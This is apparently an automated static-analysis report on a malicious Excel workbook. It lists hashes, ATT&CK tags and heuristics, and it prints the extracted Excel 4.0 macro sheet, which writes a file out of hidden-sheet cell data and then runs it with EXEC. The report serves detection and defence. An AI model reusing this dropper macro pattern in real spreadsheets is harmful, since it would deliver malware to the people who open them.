Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 7bbb508b08c9ce9d…

MALICIOUS

Office (OOXML)

186.1 KB Created: 2021-09-13 09:41:09 UTC Authoring application: Microsoft Excel 12.0000 First seen: 2021-10-11
MD5: e3eaabd3fc785f96442a739581e65c60 SHA-1: c19a32ce68d7c51d1bf1a9240f2afb325d1b18b8 SHA-256: 7bbb508b08c9ce9dca7c15df96cb9efe1fbdae7416cf2e7307586b5959f35c7c
130 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

This Excel file contains Excel 4.0 macros, which are known to be used for malicious purposes. The macros utilize dangerous functions such as FOPEN, FWRITE, FCLOSE, and EXEC to download and execute a second-stage payload. The presence of these functions and the overall structure strongly suggest a downloader or initial execution stage of a malware infection.

Heuristics 4

  • Excel 4.0 macro sheet (1 sheet(s)) critical 1 related finding OOXML_XLM_MACROSHEET
    Spreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
  • Dangerous XLM formula APIs: FOPEN, FWRITE, FCLOSE, EXEC, HALT critical OOXML_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet uses formula APIs that call directly into Win32 (=CALL/=EXEC/=REGISTER/=FORMULA). These are the primitives used to download payloads, write files, and start processes from an XLM macro without invoking VBA.
  • Hidden worksheet (hidden) low OOXML_HIDDEN_SHEET
    Excel workbook contains 1 hidden sheet(s) — hidden sheets are commonly used to conceal macro code, staging data, or intermediate payload construction
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/spreadsheetml/2006/main In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/excel/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_sheet_00.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet1.xml 1485 bytes
SHA-256: 70186c51f52c5fbf5579ed0b55e7b62c0043479f819449ab00a8c30e21764b12
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships"><dimension ref="A183:B1209"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultRowHeight="15"/><sheetData><row r="183" spans="1:1"><c r="A183" t="b"><f>FOPEN(GET.NOTE(Macro1!$B$413, 1, 200), 1+2)</f><v>0</v></c></row><row r="263" spans="1:1"><c r="A263" t="b"><f>FOR.CELL("YSgaGhKGCyY",Sheet1!I162:K8440, TRUE)</f><v>0</v></c></row><row r="335" spans="1:1"><c r="A335" t="e"><f>FWRITE(Macro1!A183,CHAR(YSgaGhKGCyY))</f><v>#NAME?</v></c></row><row r="401" spans="1:2"><c r="A401" t="b"><f>NEXT()</f><v>0</v></c></row><row r="413" spans="1:2"/><row r="499" spans="1:1"><c r="A499" t="b"><f>FCLOSE(Macro1!A183)</f><v>0</v></c></row><row r="929" spans="2:2"/><row r="1029" spans="1:1"><c r="A1029" t="b"><f>SET.VALUE(Macro1!$B$929, GET.NOTE(Macro1!$B$929, 1, 200))</f><v>0</v></c></row><row r="1145" spans="1:1"><c r="A1145" t="b"><f>EXEC(Macro1!$B$929)</f><v>0</v></c></row><row r="1209" spans="1:1"><c r="A1209" t="b"><f>HALT()</f><v>0</v></c></row></sheetData><sheetProtection password="C182" sheet="1" objects="1" scenarios="1"/><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/><legacyDrawing r:id="rId1"/></xm:macrosheet>